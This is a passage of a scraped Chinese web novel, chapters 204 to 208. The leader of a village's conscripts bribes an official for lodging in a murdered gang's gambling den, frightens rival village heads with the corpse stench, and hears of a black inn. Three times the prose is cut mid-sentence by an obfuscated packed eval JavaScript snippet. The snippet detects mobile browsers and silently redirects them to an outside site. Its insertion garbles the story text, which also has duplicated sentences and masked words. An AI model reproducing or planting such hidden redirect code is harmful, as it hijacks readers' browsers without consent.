见卓明远畏畏缩缩,一副没见过世面的样子,反倒是苏阳看着气度不凡,说话也中气十足,吕巡检心中有了计较,也就顺水推舟,让苏阳继续当这个都头。 “对了,你叫什么名字?” 吕巡检突然问道,似乎才想起这茬。 “回巡检大人,小的苏阳。” 苏阳赶紧回答,声音里带着一丝年轻人特有的朝气和掩饰不住的得意。 “嗯,名字不错,有股子精气神!今儿天色已晚,天一亮咱就启程。今晚你们先在镇子外头将就一夜,给我把你们青龙村的人管好了,谁要是敢惹是生非,老子扒了他的皮,听明白了吗?” 吕巡检说完,不耐烦地摆了摆手,示意苏阳可以滚蛋了。 一番简短的对话后,苏阳就被打发了出来,感觉自己像是完成了一项重要的任务。 直到走出巡检司的大门,苏阳还有些苏里雾里,感觉像是做梦一样。 这就成了? 一切都是空白,让手下的乡勇在镇外将就过夜? 这大冷的天,别说人了,就是铁打的汉子也扛不住啊!这不得闹出人命啊? “老赖,你们曾经当过苦力,都是怎么个过法?” 苏阳没有服徭役的经验,只能向身边的卓明远求助,希望他能提供一些有用的信息。 卓明远撇了撇嘴,一脸的鄙夷: “还能怎么过?找个背风的地方,大伙儿挤成一团,互相取暖呗。能囫囵个儿熬过去就不错了,你还想咋地?” “那要是有人冻病了,或者冻死了怎么办?” 苏阳追问道,语气中带着一丝担忧。 “还能怎么办?凉拌呗!哪回出来服徭役,不死几个人?咱们这些人,命贱,不值钱!” 在卓明远看来,苏阳纯粹是咸吃萝卜淡操心。 出来服徭役,谁能保证百分百安全?冻死几个人算个屁,万一被冻出毛病咋整,真是没见过世面! 苏阳出了镇子,举目四望,只见其他村子的乡勇都在啃着黑乎乎的干粮,就着冷水往下咽,别说帐篷了,连个遮风挡雨的地方都没有,一个个冻得直哆嗦,像是一群被遗弃的野狗。 旁人都这么干,其他村正可以把手下当牲口使,但苏阳不行。 在他看来,人是最宝贵的财富,没了人,一切都是白搭。 “走,石头,远山,带上你们几个再跑一趟三溪镇,咱们得想个辙,弄个暖和点的地方过夜。这样下去,非出事不可!” 苏阳当机立断,决定再回镇子里想想办法。 这次进镇子,苏阳没再指望靠脸,而是靠腰牌。 以前在衙门当差,吕巡检给了他一块腰牌,上面刻着“青龙村乡勇都头”几个字,也算是认可了他的身份。 虽然只是个小小的乡勇都头,但在镇门口,这块腰牌还是管用的。 守门的差役一看腰牌,立刻换上了一副笑脸,点头哈腰地把苏阳一行人让了进去。 他们心里清楚,能当上都头的,多少都有点背景,谁也不想因为这点小事得罪人。 苏阳没去找别人,径直寻到吕管事。 第二百零四章 他觉得,这种事情,找熟人比较方便。 吕管事这会儿正忙得脚不沾地,看到苏阳又来了,脸上勉强挤出一丝笑容,只是这笑容比哭还难看。 苏阳也不跟他绕弯子,直接从怀里掏出一锭银子,塞进了吕管事的手里。 “吕管事,我是头一回带队,啥经验都没有,还请您老多费心!这点小意思,您拿去买酒喝。” “哎呀,小弟,你这……真是太见外了!不过,既然你这么说了,那老哥我就却之不恭了!说吧,有什么事需要老哥帮忙的?” 吕管事一边说着客套话,一边飞快地把银子塞进了袖子里,动作那叫一个娴熟。 他脸上的笑容也变得真诚了许多,至少看起来不那么假了。 可苏阳心里清楚,这老家伙就是个见钱眼开的主儿,跟他讲情面,纯粹是对牛弹琴。 “吕管事,是这么回事,咱村的人衣服单薄,这大冷的天,在外面待一宿,我怕他们熬不住。求您搭把手,给找个挡风的地方?” “嗯……” 吕管事捋着山羊胡,眯着眼睛,装模作样地思考了半天,这才慢吞吞地说道: “小弟,你这事儿,可真让老哥我为难啊……巡检老爷有令,我也不敢违抗啊……不过嘛,也不是完全没有办法……” 苏阳一听有门,知道这老家伙是在待价而沽,等着自己加码呢。 他也不废话,又从怀里掏出一锭银子,塞了过去。 “吕管事,您就别跟我卖关子了,只要您能帮我把这事办妥了,以后少不了您的好处!” “咳咳,小弟真是爽快人!既然你这么说了,那老哥我就豁出这张老脸,给你想想办法!不过,丑话可说在前头,地方是找到了,但这条件嘛……肯定好不到哪儿去,你可别嫌弃!” 吕管事收了银子,态度立刻来了个一百八十度大转弯,变得热情起来。 …… 没过多久,看着其他乡勇投来羡慕的眼神,苏阳带着青龙村的乡勇,昂首挺胸走进三溪镇。 “啥情况?青龙村的人咋进去了?他们不用在外面挨冻了?” “切,这还用问?肯定是人家都头有门路呗!没听人说嘛,朝中有人好做官!” “哎,真是同人不同命啊!咱们咋就没摊上这么个好都头呢?” “……” 几个村子的乡勇议论纷纷,言语中充满了羡慕嫉妒恨。 他们一边啃着干粮,一边看着青龙村的人进了镇子,心里别提多憋屈了。 原本以为大家都是一样的,没想到人家青龙村竟然有特殊待遇,这让他们心里很不平衡。 苏阳并不知道,自己的举动已经引起了其他村子的不满。 他这会儿正看着眼前的院子,气得七窍生烟。 吕管事这老狐狸,真特么不是人! 看着眼前这座破败不堪的院子,苏阳恨不得立刻回去把那二十两银子给抢回来。 这院子,竟然是眼煞豹的赌馆! 前些日子这里才死了那么多人,现在还隐隐有股血腥味,吕管事竟然让他们住在这里,这不是恶心人吗? 就算苏阳不迷信,他手下的那些人也迷信啊! 这姓何的,简直就是个畜生,早晚要你好看! 苏阳强压着怒火,对石头说道: “石头,你去镇上买些粮食和木柴回来,再买点酒。今晚咱们不做叫花子,吃顿好的,喝点酒暖暖身子!” 既然吕管事不仁,那就别怪他不义! 苏阳没有再去找吕管事理论,因为他知道,跟这种人讲道理,纯粹是浪费时间。 咱们走着瞧,看谁能笑到最后! 然而,就在苏阳准备带着人进院子的时候,吕管事却突然出现了。 “苏老弟,苏老弟,你等等,老哥我还有事跟你说呢!”“哎哟,苏老弟,你等等,老哥我还有事跟你说呢!” 吕管事一路小跑,脸上的肥肉抖成了波浪,硬挤出一副比哭还难看的笑,追了上来。那模样,活像一只被踩了尾巴的老狗,让人看着就觉得晦气。 苏阳停下脚步,身子微微一侧,眼角余光扫过吕管事,嘴角勾起一抹玩味的冷笑:“吕管事,还有什么见教?” 说话间,苏阳的手,已经不着痕迹地按在了腰间的刀柄上,指节微微发白。 吕管事搓着一双油腻的大手,点头哈腰,谄媚地说:“嘿嘿,苏老弟,你看这院子咋样?是不是风水宝地,龙盘虎踞?” 说话时,吕管事的眼珠子滴溜溜乱转,一看就没安什么好心。 苏阳瞥了一眼那破败的院墙,墙角下甚至还有几块暗红色的血迹,在月光下显得格外瘆人。他心中冷笑:这老狐狸,睁着眼睛说瞎话的本事倒是见长,就这鬼地方,也敢说是风水宝地? “吕管事,这院子……是眼煞豹的赌馆吧?”苏阳故意把“赌馆”两个字咬得极重,像是两块石头在摩擦。 吕管事老脸一僵,表情像是吞了一只死苍蝇般难受。他干笑两声,试图掩饰过去:“咳,那个……苏老弟也知道,前些日子是出了点小意外。不过嘛,这宅子本身是没问题的,绝对是块宝地!” 苏阳听了,心里直接“呸”了一声:放屁!这地方死了那么多人,阴气比乱葬岗还重,都能拍鬼片了,还敢跟我扯什么宝地?真当我什么都不懂的愣头青? “吕管事,你这是想把这院子卖给我?”苏阳也不跟他绕弯子,直截了当地问,语气中带着一丝不耐烦。 吕管事一听有戏,眼睛顿时像通了电的灯泡一样亮了起来。他连连点头,跟小鸡啄米似的:“对对对,苏老弟真是火眼金睛!这院子,绝对是镇上独一份!你看这格局,这气派,你在镇上有个落脚点,以后办事也方便不是?” “方便?”苏阳冷笑一声,这老家伙,还真会给自己脸上贴金,“吕管事是觉得,我买了这院子,以后我们青龙村的人来服徭役,就可以住在这里,不用再看你们的脸色了?” 吕管事被戳破了心思,老脸有些挂不住,表情跟调色盘似的,青一阵白一阵。他干咳一声,强行辩解:“苏老弟,话可不能这么说。这买卖嘛,讲究个你情我愿……” “行了,别扯这些没用的。”苏阳不耐烦地打断他,这老家伙,废话真多,“这院子,你开个价吧,痛快点!别跟我玩虚的!” 吕管事眼珠子一转,心里开始盘算起来。他寻思着,这小子虽然不好对付,但毕竟年轻,说不定能狠狠宰他一笔。于是,他伸出一根手指,狮子大开口:“一百两!苏老弟,这可是跳楼价了! 第二百零五章 ” “一百两?”苏阳像是听到了什么天大的笑话,忍不住“哈”了一声,“吕管事,你这院子是金子做的?还是镶了玉?清阳县的宅子才几个钱?你这鬼宅就敢要一百两?你真当我傻?” 吕管事眼见苏阳不上当,脸色一沉,语气也变得强硬起来:“苏阳!我跟你好好说话,你别不识抬举!这院子,你爱买不买!不买就赶紧滚蛋!” “买不买,得看这院子值不值这个价。”苏阳冷冷地看着他,眼神像两把出鞘的利刃,要把这老家伙从里到外看个透彻,“吕管事,我也不怕告诉你,我在江湖上也是有字号的。” “你……”吕管事被他看得心里发毛,一时间竟不知道该说些什么,额头上开始冒出细密的汗珠。 “人称‘铁胆震八方,义气薄苏天’,说的就是我苏阳。”苏阳的声音陡然拔高,语气中充满了傲气,“锄强扶弱,打抱不平,那都是家常便饭!吕管事,你可别以为我年纪小,就好欺负!” 这番话,苏阳说得半真半假。他故意夸大自己的名头,就是为了震慑住这老家伙。 吕管事果然被唬住了,他虽然没听过什么“铁胆震八方”,但他知道,这年头,敢在江湖上闯荡的,都不是什么善茬。 “你……你到底想怎么样?”吕管事的声音有些发颤,明显是怕了。 “不怎么样。”苏阳咧嘴一笑,露出一口白牙,在月光下显得有些阴森,“吕管事,我给你出个主意。这院子,我不白要你的,但你也不能漫天要价。” “什么主意?”吕管事下意识地问道,他已经被苏阳牵着鼻子走了。 “咱们来打个赌。”苏阳缓缓说道,声音低沉而有力,“就赌我们青龙村这次出征,能有多少人活着回来。” 吕管事一愣,没明白苏阳的意思。 “这样,咱们村庄涌进来一百号人马。如果一个不少地回来,我给你一百二十两,比你说的还多二十两!”苏阳竖起两根手指,“但要是有人回不来,每少一个人,我就少给你一两银子。怎么样,吕管事,敢不敢赌?” 苏阳这个提议,看似大方,实则步步杀机。他不仅要保住自己人的性命,还要反过来将这老家伙一军。 吕管事听完,脸色煞白。他终于明白苏阳的意图了:这哪里是打赌,这分明是逼着自己尽心尽力保护青龙村的人! “苏阳,你……你这是在威胁我?”吕管事的声音颤抖得更厉害了,他色厉内荏地喊道,像是给自己壮胆。 “威胁?”苏阳冷笑,笑声中充满了不屑,“吕管事,你这话说的,好像我逼你做什么坏事似的。我这是在跟你谈生意!愿赌服输,天经地义!” 他算是看出来了,这老家伙就是个欺软怕硬的货色。之前自己给了他十两银子,他还以为自己好欺负,现在居然想用这鬼宅来坑自己,真是瞎了狗眼! “我……”吕管事张了张嘴,却什么也说不出来。 “怎么,不敢赌?”苏阳步步紧逼,“吕管事,你不是说这院子是块宝地吗?怎么,连这点胆量都没有?” “好,好,好!”吕管事气得浑身发抖,连说了三个好字,转身就走,“苏阳,你给我记着!这事没完!” 看着吕管事气急败坏的背影,苏阳冷哼一声:跟我斗?你还差得远呢!想算计我?做你的春秋大梦去吧! 夜幕降临,繁星点缀在深蓝色的天幕上,像一颗颗闪耀的钻石。 石头带着几个手脚麻利的乡勇,从镇上买回了粮食、木柴和酒。 院子里燃起了篝火,火光熊熊,映照着每个人的脸庞,驱散了夜晚的寒意。 苏阳亲自分发食物,将热腾腾的饭菜递到每个乡勇手中。 大伙儿围坐在篝火旁,吃着香喷喷的饭菜,喝着辛辣的烈酒,一天的疲惫和不安,似乎都随着这温暖的食物和酒水,消散在了夜色中。 酒足饭饱之后,苏阳并没有让乡勇们立刻休息。 他心里清楚,要想在这乱世之中活下来,就必须把这帮乌合之众训练成一支铁军。 “石头,继续操练!今晚,先不练别的,就练站姿!”苏阳拍了拍陈木生的肩膀,语气坚定。 陈木生顿时苦了脸,像是吃了黄连一样:“都头,这帮家伙连站都站不稳,怎么练啊?这不是难为人吗?” 苏阳也知道这事急不得,但他心里清楚,时间不等人,必须争分夺秒。 “站不稳就扶着墙练!我就不信,一群大老爷们,连个站都站不好!”苏阳沉声说道,语气中带着一丝不容置疑的威严。 然而,现实比他想象的还要残酷。 这帮乡勇,别说站姿了,连站直都困难,一个个东倒西歪,像一群没骨头的软体动物。 陈木生在一旁急得直跳脚,嗓子都喊哑了,可这帮家伙还是我行我素,没有一点长进。 苏阳看着眼前这群不成器的乡勇,头疼不已,感觉一个头有两个大。 这可咋整?难道真要带着这帮家伙上战场?那跟送死有什么区别? 正当苏阳一筹莫展之际,一阵脚步声传来,几个村正找上门来。 “苏都头,我们几个老家伙来讨杯水酒喝,顺便跟你聊聊家常,不介意吧?”为首的村正笑眯眯地说道,脸上堆满了褶子,像一朵盛开的菊花。 苏阳一看,正是白天那几个村正。 他心里跟明镜似的,这几个老家伙,肯定是来蹭地方睡觉的。大晚上的不睡觉,跑来跟我聊家常?鬼才信! “几位前辈,快请进!快请进!”苏阳热情地招呼着,把几人迎进院子。 几人进了院子,也不客气,直接找地方坐下,一副“宾至如归”的模样。 苏阳给他们倒上酒,笑着问道:“几位前辈,你们在镇上当了这么多年村正,按说应该早就置办了产业,怎么会连个落脚的地方都没有呢?这说出去,恐怕没人信吧。” 几个村正对视一眼,都有些尴尬,眼神闪躲,似乎有什么难言之隐。 “咳,苏都头,你是不知道啊,这镇上的客栈,那可真是……一言难尽啊。”一个村正干咳一声,开始诉苦。 “是啊是啊,我们几个老家伙,也不是没想过住客栈,可那环境,实在是……让人望而却步啊。”另一个村正附和道。 “……” 几个老家伙你一言我一语,说得煞有介事,好像真受了多大委屈似的。 苏阳心中冷笑:装,你们接着装!就你们这几个老狐狸,还能被客栈给难住了? 第二百零六章 打死我也不信! “几位前辈,你们越是这么说,我越是好奇了。这镇上到底有什么古怪,让你们宁愿露宿街头,也不愿住客栈?难道这客栈里闹鬼不成?”苏阳故意说道,想激他们一下。 几个村正的脸色更难看了。 他们互相使着眼色,谁也不肯说实话。 苏阳心中冷笑,知道他们有所隐瞒。不过,他也不着急,反正有的是时间跟他们耗。“走,几位老哥,跟我来个地方,保准你们没见过。” 苏阳咧嘴一笑,不等几个村正回话,半推半搡着就往后院走。 几个村正交换着眼神,脚步都有些发虚,可又不好驳了苏阳的面子,只能硬着头皮跟上。 柴房前,苏阳“咣当”一声,猛地掀开地窖入口,还故意扇了扇风。 “呕!” 一股难以形容的恶臭,像一记闷棍,狠狠砸在几个村正的脸上,又被苏阳扇了进来。 “这是啥味儿啊?” “熏死个人了!” “咳咳……这……我先出去缓缓” 几个村正连连后退,捂着口鼻,脸色青一阵白一阵,胃里翻江倒海。 吕管事的确让人打扫过地窖,可里面横七竖八地**那么多人,各种腐烂的味道混杂在一起,早已发酵到了极致,又岂是清水冲冲就能散尽的? 更何况,地窖盖子一直闷着,苏阳这冷不丁地一掀开,几个村正差点被这“生化武器”直接送走! “几位老哥,都是见过世面的人,”苏阳故意压低声音,眼底闪过一丝狡黠,“猜猜,这是什么味儿?” “不……不知道。”一个村正强忍着不适,声音都有些发颤。 “这味儿……也太冲了!”另一个村正干呕了几声,额头上青筋直跳,用袖子使劲擦了擦被熏出来的眼泪。 苏阳嘿嘿一笑,凑近了些,声音压得更低了:“几位老哥,你们可都是在刀口上舔过血的,这味儿……真就闻不出来?” 几个村正闻言,身子猛地一僵,脸色瞬间变得惨白如纸,像是被雷劈中了一般。 “小弟,你……你可别吓唬我们……”一个村正的声音抖得不成调,眼神闪烁,不敢与苏阳对视,腿肚子都开始转筋了。 其实,不用苏阳明说,他们心里也隐隐有了猜测。 都是从**堆里爬出来的老油条,什么场面没见过? 这股子浓烈到令人作呕的尸臭味,他们怎么可能分辨不出来? 只是,他们不敢相信,也不愿相信…… 苏阳的声音更低了,仿佛从地狱深处传来:“实话告诉你们吧,这里,就是眼煞豹那伙贼人藏尸的地方!里头……冤魂无数,每晚都闹腾得厉害……” “啊!小弟,你别说了!”一个村正失声惊叫,猛地捂住耳朵,转身就想逃,却被苏阳一把拉住。 “是啊小弟,过去的事就别提了!这味儿实在太大了,咱们还是出去吧!”另一个村正也吓得够呛,脸色煞白,双腿都有些发软。 苏阳见状,嘴角的笑意更浓了:“几位这是怎么了?怕了?我这儿可还有一个天大的秘密,你们听了,可千万别往外传——眼煞豹和他那帮手下,前几天,一个活口都没能逃出这个院落!你们……听说了没?” “啥?!” “眼煞豹……**?” “不可能!我怎么一点风声都没听到?” 几个村正的反应比苏阳预想的还要大,一个个惊得目瞪口呆,眼珠子都快瞪出来了,仿佛听到了天方夜谭。 “小弟,你……你可别跟我们开玩笑!这院子要是真**那么多人,你还敢住进来?”一个村正强压下心头的震惊,色厉内荏地质问道。 “就是!这事儿要是真的,你怎么一点都不怕?”另一个村正也回过神来,提出了质疑。 苏阳轻笑一声,眼神中带着一丝得意:“几位老哥有所不知,我敢住进来,那是因为吕管事信得过我,知道我苏阳八字硬,阳气重,能镇得住这院子里的邪祟!” 他顿了顿,语气一转,又道:“兄弟们来得恰到好处,你们都是老许湖,见过多少血雨腥风?咱们联手,定能让这院子里的冤魂厉鬼,永世不得超生!” “这……” 几个村正面面相觑,心虚地交换着眼神。 “咳咳,好是好,不过……我那帮乡勇可不能没人管,万一出了什么乱子……我可担待不起,告辞!”一个村正干咳两声,找了个借口,转身就想 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16218580|178327||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 开溜。 “呵呵,小弟,我那帮乡勇还没吃饭呢!要是饿出个好歹,我可担待不起,告辞!”另一个村正也反应过来,连忙找了个借口,脚底抹油,溜得比兔子还快。 “对对对,我也得回去,小弟,改日再聚,告辞!” 剩下的几个村正也纷纷效仿,一个个跑得比兔子还快,转眼间就消失得无影无踪。 只留下王麻山一个人,站在原地,走也不是,留也不是,脸色一阵青一阵白,像吞了苍蝇一样难受。 “王老哥,怎么,你们村的乡勇不用吃饭?”苏阳笑眯眯地看着王麻山,眼神中带着一丝玩味。 王麻山干笑两声,强自镇定道:“嘿嘿,小弟,你这话说的,我老王是什么人?这点小场面,还能吓到我不成?这院子以前是眼煞豹的,这不假,可你说他和他手下全死在这儿……打死我也不信!” 苏阳见王麻山还在嘴硬,心想:这老家伙不见棺材不落泪啊! 他也不多说,直接朝不远处招了招手:“虎娃,你过来一下!” 一个正在休息的年轻乡勇听到苏阳的召唤,连忙起身跑了过来。 “小弟,啥事?”虎娃挠了挠头,憨憨地问道。 王麻山一看这情形,心里顿时有些打鼓。 这小子葫芦里到底卖的什么药?难道这院子里真的闹鬼? 他原本以为,苏阳只是在虚张声势,吓唬他们,不想让他们这些村正住进来分一杯羹。 可现在看来,苏阳似乎并没有说谎…… 王麻山的目光在苏阳和虎娃之间来回扫视,心中惊疑不定。 苏阳心中暗笑,表面上却不动声色。 他早就料到这帮老家伙不会轻易相信,所以才故意让虎娃过来。 至于为什么不让石头或者孔远山过来,那是因为这俩小子太精明了,容易露馅。 虎娃这小子虽然憨了点,但胜在老实,不会说谎。 他凑到虎娃耳边,低声吩咐了几句。 虎娃听完,连连点头,表示明白。 原来,苏阳早就从其他途径得知了眼煞豹的死讯,而且还知道官府有意**息。他故意当着几个村正的面提起此事,就是想试探一下他们的反应。 第二百零七章 而官府之所以**息,自然有他们的考量。一来是为了稳定人心,避免引起恐慌;二来也是为了麻痹青虎岭的土匪,为接下来的剿匪行动创造有利条件。 “你去跟这位老哥说说,这院子里到底发生了什么事。”苏阳指了指王麻山,对虎娃说道。 虎娃闻言,走到王麻山面前,一本正经地说道:“老哥,你可别不信,这院子里真的**好多人,都是眼煞豹那帮天杀的干的!他们把人杀了之后,就扔到地窖里,尸体都臭了……” 虎娃的描述虽然没有孔远山那么绘声绘色,但也足够骇人听闻。 他把眼煞豹一伙人的残**径,以及地窖里的惨状,都一一说了出来,听得王麻山脸色越来越白。 王麻山听完,额头上已经渗出了一层细密的汗珠,脸色也变得煞白。 他虽然心里还有些怀疑,但虎娃那副认真的模样,以及苏阳那似笑非笑的表情,都让他不得不相信,这院子里真的发生过惨绝人寰的命案。 “这……这……小弟,我……” 王麻山张口结舌,再也没有了之前的嚣张气焰。 “现在信了?”苏阳看着他。 “信了信了,小弟,我还有事,先走一步。”王麻山只想赶紧离开这个是非之地。 “慢着!” 苏阳一把拽住他的胳膊。 “王老哥,今儿你必须给我说清楚,这破地方究竟有什么猫腻,不然,你可别想走!” 王麻山本想发作,可见识了苏阳的手段,又见那些乡勇一个个都像是刚从战场上下来的,浑身杀气,顿时就怂了。 他心里这个悔啊,早知道就不该贪图这点小便宜,趟这趟浑水了! 苏阳见王麻山眼珠子乱转,就知道这老家伙又在打什么鬼主意,八成是想撒谎蒙混过关。 于是,他冷笑一声,威胁道:“王老哥,你要是再不说实话,我可就只能送你去镇上的客栈,好好‘招待’一番了!” 这一下,王麻山彻底没辙了,只能乖乖地交代了实情。 不过,在说之前,王麻山强烈要求其他人回避,只留下苏阳一个人听。 “你们这些泥腿子,都给我滚远点!这种事情,也是你们能听的?”王麻山指着一众乡勇,颐指气使地呵斥道。 在他看来,苏阳虽然年轻,但好歹也是个村正,勉强有资格跟他平起平坐,对话一二。 至于其他的乡勇,不过是一群泥腿子罢了,哪有资格听这种“机密”? 苏阳见状,摆了摆手,示意一众乡勇先去休息。 “都散了吧,该干嘛干嘛去。” “老哥,现在人都走了,你可以说了吧?” 王麻山深吸一口气,压低声音道:“小弟,你是不知道,这条街上的破旅店,他……不干净……”王麻山神神秘秘,憋了半天,说出的话让苏阳吓了一跳。 本以为三溪镇的客栈有什么灵异事件。 结果,闹鬼是假,**是真! 竟然有人开黑店,卖**包子! “嘶……” 苏阳倒吸一口凉气,感觉牙龈都开始发麻。 三溪镇这种地方,看着不起眼,竟然藏着这种腌臜事? “我说王老哥,你不会是听了什么疯话,当真了吧?”苏阳眼睛一瞪,直视王麻山。 王麻山被苏阳看得心里发毛,赔笑道:“嘿嘿,哪能呢,都是传言,传言而已。” 苏阳冷哼一声。 传言? 这老家伙闪烁其词,一看就有问题。 “既然是传言,那更得验一验真假。”苏阳突然话锋一转,嘴角勾起一抹玩味的笑,“走,王老哥,咱哥俩今晚就去会会这家客栈,也让其他几个村正开开眼,什么叫胆量!” 王麻山一听,脸都绿了。 这小子怎么不按套路出牌? 这不是要我的老命吗! 他支支吾吾,想找个借口溜走。 可苏阳哪能让他如愿,一把抓住王麻山的胳膊,嘿嘿笑道:“怎么,王老哥怕了?” 王麻山被苏阳这一激,老脸涨得通红,可又不敢真去。 眼看瞒不过去,他只好硬着头皮,把自己知道的一五一十全说了。 原来,这客栈的老板来头不小,和县里的郑县尉是亲戚。 至于是啥亲戚,王麻山也不知道,反正关系铁得很。 不然,就凭吕巡检那性子,早把这客栈给掀了! 苏阳听完,只觉得这三溪镇的水,比自己想象的还要深。 一个小小的客栈,背后竟然牵扯这么多。 看 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16229959|178327||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 来以后行走江湖,真得多长个心眼,不然**的都不知道。 他下意识地把手放在腰间的刀上,感受着刀柄的冰凉,心里这才踏实了些。 “咣咣咣!” 一阵急促的敲门声打断了两人的对话。 苏阳打开门,只见之前离开的几个村正,又都回来了,一个个脸上带着神秘的笑。 “哟,几位老哥,怎么又回来了?”苏阳明知故问。 “哈哈,老王啊老王,你果然不老实!”其中一个村正拍了拍王麻山的肩膀,挤眉弄眼,“我们前脚刚走,你就留下,是不是有什么秘密要和小弟说啊?” 苏阳抱着胳膊,靠在门框上,看着这几个老家伙演戏。 他早就看出来了,这几个老家伙,一个比一个精。 王麻山留下,八成是他们几个商量好的。 “行了,几位老哥,别演了。”苏阳打断了他们的表演,“有话直说,别整这些虚头巴脑的。” 几个村正互相看了一眼,都有些尴尬。 没想到,苏阳年纪轻轻,却是个明白人。 “咳咳,既然小弟快人快语,那我们也不藏着掖着了。”为首的村正清了清嗓子,“我们这次来,是想找小弟合计合计,怎么应对吕巡检。” 苏阳心中冷笑,脸上却不动声色。 果然,这几个老家伙是来拉拢自己的。 “实不相瞒,小弟,我们几个老家伙,早就看不惯吕巡检那副嘴脸了。” “是啊,每次遇到危险,他都让我们的人冲在前面,自己的人躲在后面捡便宜!” “这次要不是你,我们还不知道眼煞豹已经**。” “我们几个合计了一下,觉得不能再这样下去了,得联合起来,跟吕巡检斗一斗!” 几个村正你一言我一语,把吕巡检的恶行数落了一遍。 苏阳这才知道,原来吕巡检在乡勇中名声这么差。 也难怪,谁愿意被人当枪使? “小弟,你头一回当差,不了解吕巡检的为人。”王麻山语重心长地说,“我们几个都是过来人,吃过他的亏。这次叫你来,就是想提醒你,千万别被他给骗了!” “没错,上了战场,他让你做什么,你都别听,先看看我们几个怎么做,跟着我们就行! 第二百零八章 ” “对,咱们人多力量大,不能让他各个击破!” 几个村正纷纷表态,要把苏阳拉到他们的阵营里。 他们也打听过了,苏阳和眼煞豹有过节,还逼得吕管事让步,肯定不是吕巡检的人。 拉拢苏阳,对他们有百利而无一害。 苏阳听着他们的话,心里跟明镜似的。 这几个老家伙,说是拉拢自己,其实还是为了他们自己。 不过,多个朋友多条路,苏阳也不想跟他们闹僵。 他面上装得挺爽快,心里却暗暗警惕,绝不能轻易相信这帮老狐狸。 几个人商量了半天,定下了应对吕巡检的计策。 最后,苏阳提出让几个老家伙留宿。 几个村正推辞了一番,也就顺水推舟地答应了。 说是保护苏阳,实际上呢,恐怕是想监视他。 第二天一早,苏阳起床,看到几个村正的样子,差点没笑出声。 一个个顶着黑眼圈,像是几天没睡觉一样。 “小弟,你可把我们害苦了!”一个村正揉着眼睛,抱怨道,“昨晚做了一夜的噩梦,都没敢合眼!” “我也是,梦见眼煞豹来找我报仇,吓得我一身冷汗!” “小弟,你怕不是在搞事情,让我们这帮老骨头替你扛事?” “……” 苏阳笑得那叫一个灿烂:“几位老哥,你们想多了,我这是关心你们,怕你们路上遇到危险!” 他招呼大家一起吃早饭。 几个村正也不客气,围坐在一起,大口吃了起来。 “老弟,你们青龙村的日子过得真不错啊!出来服徭役,还带这么多好吃的!”一个村正看着桌上的饭菜,羡慕不已。 早饭很丰盛,有白米饭,还有这香飘十里的咸鱼。 这伙食,比他们这些村正平时吃的还好。 “这咸鱼真香,之前咋没发现鱼竟然这么香?” “是啊,这味道绝了!” 几个村正吃得津津有味,赞不绝口。 苏阳看着他们狼吞虎咽的样子,心里一阵得意。 这才哪到哪,等你们见识了青龙村的真正实力,还不把眼珠子瞪出来? 青龙村的乡勇们,本来对几个村正还有些敬畏。 可看到他们这副没见过世面的样子,顿时觉得他们也不过如此。 在阳哥儿面前,这些村正还不是得乖乖的? 阳哥儿真是太厉害了! 乡勇们一个个挺起了胸膛,感觉自己也跟着苏阳沾了光。 吃饱喝足,正当几个村正准备告辞的时候,吕管事来了。 他一脚门里一脚门外,大声嚷嚷道:“你们几个怎么还在这儿?赶紧的,大人召你们过去商议要事!”晨曦微露,炊烟袅袅。 可苏阳他们连口热乎的早饭都没来得及扒拉,就被吕管事那破锣嗓子给嚎到了巡检司。 “这都啥时候了,还磨磨蹭蹭的!”吕管事扯着嗓子吼了一句。 谁知道,这吕巡检比他们还能磨蹭,硬是让他们在院子里吹了半个多时辰的冷风,才姗姗来迟。 几个村正敢怒不敢言,只能在心里头把吕巡检的祖宗十八代都问候了个遍。 “早**干嘛去了,还不如让老子们吃饱了再来!”周村正嘟囔了一句。 吕巡检慢条斯理地落了座,先是清了清嗓子,然后就开始了他的长篇大论,从“天下兴亡”扯到“匹夫有责”,从“忠君爱国”扯到“乡里乡亲”,唾沫阳子横飞。 足足半个时辰,他才终于把话题绕回到了正事上:“……总而言之,今日暂缓行动。” 几个村正一听这话,脸色顿时比**亲爹还难看。 为啥? 还不是因为银子的事! 他们各自带来的那些乡勇,家底子都薄,跟青龙村那帮穷鬼也差不了多少。 各家各户东拼西凑,也就能凑出三天的口粮。要是再耽搁下去,那些泥腿子就得饿肚子! 几个村正面面相觑,心里都跟明镜似的:他们才不关心那些泥腿子的死活,他们愁的是徭役期间断粮,自己脸上无光,回去不好交差! “要是真断了粮,上头怪罪下来,谁**担得起这个责任?”孔村正压低了声音,狠狠地啐了一口。 吕巡检哪能不知道这些人心里的弯弯绕? 他压根就没把这当回事,自顾自地继续说着:“……今日,各村乡勇,集中操练!” 说完,他一挥袖子,直接端茶送客。 那意思再明白不过:赶紧滚蛋,别在这儿碍老子的眼! 回到住处, ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 